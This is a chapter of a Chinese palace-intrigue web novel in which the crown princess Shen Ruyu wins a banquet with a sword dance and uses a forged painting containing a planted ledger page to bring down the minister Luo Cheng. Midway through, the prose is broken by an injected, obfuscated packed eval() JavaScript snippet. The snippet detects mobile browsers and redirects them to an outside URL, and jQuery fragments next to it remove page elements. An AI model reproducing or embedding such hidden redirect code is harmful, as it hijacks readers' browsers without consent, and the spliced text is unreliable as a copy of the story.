大梁以武立国,虽然近些年武将势弱,然剑舞在表演中仍然备受推崇。其原因不外乎于善舞的女子没有那般力气,很难舞出英武之势。
而拿得起剑的又很难有舞女那般的身姿柔软。因此通常以英姿勃发的男子舞剑为主流。
沈如玉这一出,吸引了在场所有人的目光。换好了简约的素衣,沈如玉娉婷站于院中,青丝绾作流云髻。
乐声起,她足尖轻点,剑穗如游龙破空,寒光带起满地落英。衣袂翻飞惊鸿踏雪。剑势时而如骤雨倾盆,时而婉转如春雨飘飘。
在场之人听着丝弦激昂,看着剑光如月色流淌,无一不沉醉于其中。只有陈贵妃的脸色,属实难看。
原本是想给这个新太子妃一点颜色,顺便打太子的脸,却未曾想竟为她博得满堂彩。
沈如玉最后纤细腰身反拱将剑插回剑鞘,水袖外展弹回包裹住身体作收势。这支剑舞刚柔并济,既有力度又不乏女子的柔美。
“啪啪啪”皇上带头鼓起掌来,一时间掌声雷动。
沈如玉面不改色行礼致谢,待她换好衣裳回席间,李承璟目光仍有惊艳之色,“我竟不知夫人有如此本事。”
你不知道的事还多着呢!沈如玉面上微笑心中腹诽,同时也微微舒了一口气,实际上她也只会这一支舞。
“来如雷霆收震怒,罢如江海凝清光。”皇上点着头称赞道,“承璟,你和你的太子妃今日可是大出风头啊!”
“多谢父皇给我们的机会。”李承璟谦逊的行礼。
“皇上,臣前些时日得一画作,想趁今日献给皇上。”站出来说话的便是礼部尚书罗成。
沈如玉眼神微微一凝,真正的戏要开场了。
德夏从罗大人手中接过画卷,呈到皇上面前。打开卷轴,皇上眼睛都亮了起来。
这样流光溢彩的画确实不常见,重彩写意的手法创造出矿物原材料通透如水晶翡翠一般的效果。
而画面上形态各异富有活趣的白鹤,用来祝寿是再合适也不过了。
“罗爱卿有心了。大家也可以同赏!”皇上面上很是高兴。
待众人都过来一一赏评一番之际,突然有一个声音说,“皇上,臣有话说。”
说话的正是早上与罗成在殿上争吵的工部尚书潘易之潘大人。
罗成侧头看着他,神情倨傲,“潘大人是有什么意见吗?”
“这副画,是个赝品。”潘易之这话让罗成一下子涨红了脸。他并非不知此事,却没有想到还有人也知道。
“你!你有什么证据!不要血口喷人!”
面对罗成的诘问,潘大人面容平静,先是走上前向皇上行礼,而后转身对众人说道。
“这幅作品极为少见,只前些时候墨阁才挂出来。老夫刚好有幸仔细看过,若是一般人,也许一眼也不觉得有什么,可老夫却是清楚此画就是赝品!”
罗成有些急了,此刻他恨不得撸起袖子同潘易之打一架。也许之前正品的丢失就是潘易之搞的鬼!
“皇上在这里,你今日若是不能说清楚,老夫必要与你决一死战!”
“真品与赝品的区别就在角落的署名章,赝品的署名半山居客的客上没有那一点!”
众人马上凑过去看,皇上看了德夏一眼,德夏也仔细分辨了一二,“回皇上,这个客字确实如潘大人所说的少了一点。”
潘易之昂起头,得意之色溢于言表。
“咦?”有好事之人发出声音,“这裱画一角……”
德夏走过去,裱画的角落翘了起来。他伸手轻触,突然神色严肃起来,“皇上,这画里好像有夹层。”
“德夏,仔细检查看看。”皇上也不禁有些好奇。
德夏仔细小心的用水润开画表层,里面果然夹了一层纸,是账本的一页。拿出来呈与皇上,皇上接过来粗略看了一下。
突然勃然大怒,质问罗成道,“你们户部,到底有几个账?阴阳账本的把戏,耍到朕的面前来了?!”
罗成吓得扑通一声跪到地上,“皇上,臣惶恐,臣不明白!”
丢下那张纸,“你自己慢慢看!”
罗成慌忙伸手抓住那页纸,匆匆几眼扫过,上面赫然记载的是一部分账目,通过报损救灾粮霉变,来获取私利。
“皇上!请相信我!这绝不是老臣所为!”罗成拼命磕头,再抬头时额头已经渗出血来。
陈贵妃拉住皇上的袖子,“皇上,罗大人一直衷心于陛下!今日之事太过巧合,必是有心之人设局。”
李承璟看向身旁之人,见他目光投过来,沈如玉微微勾起嘴角,轻声说,“这账可真不是他做的,不要让他有机会看清楚。”
李承璟点头道,“多谢。”
然后他起身,高声道,“父皇,贵妃言之有理!罗大人为朝之重臣,决不能被有心之人陷害清白!儿臣建议,彻查户部十年账目,还罗大人一个清白!”
罗成听到太子如此说,表情如同便秘一般难言。听起来太子是为了还他清白,实际谁人不知是为了查他的账。
刚才又连着磕了头,一时气急攻心,罗大人眼睛一翻直接晕了过去。
皇上安抚的拍了拍陈贵妃的手说道,“不必担心!承璟办事现在渐渐成熟,我对他有信心,这个案子按他所的办吧。”
陈贵妃还想说,皇上已经下令,“早朝时便说了由丞相点查赈灾银的账目,现在就依太子所说,查户部近十年的账目吧。”
李承璟几不可见的对潘易之点了点头。
皇上对沈知行说,“丞相,那就有劳你了!”
沈知行拱手行礼应下。
昏倒在地的罗大人也被抬回了府,在户部账没有查清楚之前,罗府由禁军把守,任何人不得自由出入,待核实后再行处置。
在回府的马车上,李承璟好奇的问沈如玉,“那页账目,你是如何拿到的?又是如何放进画中?”
沈如玉但笑不语。
“我现在觉得,沈知行并不知道你所作所为。对于你沈家二小姐的身份,我更为怀疑了。”
“太子殿下这是过河拆桥吗?在威胁我?”
“不敢,我只是对夫人有些好奇。”
沈如玉叹了一口气说道,“我奉劝夫君不要太多好奇心,听说过好奇杀死猫吗?我所做的也确实不是父亲指使的。
另外,父亲他是君子是良臣,只要你能做为国为民的事,父亲一定不会害你。”
说完她便不再言语,李承璟也没有再追问下去。从沈如玉的做法来看,她做事不拘泥于手段,经常有出人意表的方法。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668328|173028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
而且她背后一定有人在帮她,曾经李承璟觉得她是沈知行派来的,现在看来,情况应该更为复杂。
但她是一个善良的人,这一点李承璟觉得自己一定没有看错。她经常挂在嘴边的都是国家,百姓,所做之事也是行正义。
也许等到时机成熟,便能知道她的身份了。
回到了太子府,南宫回迎了上来,他的表情很是兴奋。“太子妃殿下,你这招太妙了!”
“哦?我记得之前你可是跟太子说我不可信呢!”沈如玉白了他一眼。
“是我小人之心了。”南宫回倒是不小气。
“那账是我根据工部赈灾购买的粮食折算花费的银两算出来的。虽然不是罗成所做的账,但是与实际应该也不差许多。
户部这次赈灾粮食报了三成的霉变损耗,而我在发粮的时候检查过,都是今年的新粮。从库中直接运出,怎么也不可能有如此高的损耗。中间必定就是他们贪墨的一部分。”
沈如玉井井有条的说着,“因此罗成再看到账目的时候会非常吃惊,他一定以为自己有内部的人偷偷记了私账,用来对付他。”
“太子妃果然好算计!”南宫回用扇子敲着桌子,“我没想通的是,你如何将这页账目藏入那画中的?”
“因为那幅画是我画的。”沈如玉毫不掩饰的说,她的眼睛在灯光下闪闪发光。
“你还有多少才能是我不知道的?”李承璟饶有兴趣的问道,“舞剑,画画,这么聪明,会不会哪天突然发现你是江湖高手?”
“那也说不定,我本事多着呢!”沈如玉有些得意。
“说回正事,”看着两人你来我往的打趣,南宫回清了清嗓子,“接下来我们该怎么查?罗成是陈贵妃的人,这个老头做事一向谨慎小心。”
“再谨慎小心,也一定有一本暗账。”李承璟很肯定的说道,“沈丞相和我会从正面去核实每年户部对外的账目,虽然他一定会做的很干净,但我们还是得一一检查一遍,也许会有线索。”
“南宫回,你带影子侧面去查,给我户部上下每一个人的家里都查一遍。一定要找到那本暗账!”
“还有,要特别关注户部每年拨往镇北军的军需军饷。”
听到李承璟说到此处,原本懒散的沈如玉突然坐起了身子。
“殿下是觉得,户部在军饷上做了手脚?”南宫回并未在意,继续问道。
“手脚是必然做了的,只是镇北军一直都被父皇重视,他们用的手段一定很巧妙。
贪墨军饷这个事情,没有写在赐死袁将军的旨意里,却是皇上默认的最后一根稻草。”
沈如玉的手捏成了拳头,原来父亲的死因还有这么多名堂,所谓通敌叛国只是欲加之罪,让他引起了皇上的疑心才是真正杀人的好手段。
“夫人?夫人?你怎么了?”李承璟的声音将她的思绪拉了回来。
“哦哦,没事,我只是有些累了。”
“那夫人早些回去休息,我和南宫再聊一会儿。”李承璟温柔关切的说道。
“好。”沈如玉有些按耐不住自己的思绪,也不愿意多留。
“南宫,你觉不觉得刚才我们提到袁将军时,她的反应有些奇怪?”
李承璟看着她的背影眼神阴沉的说道。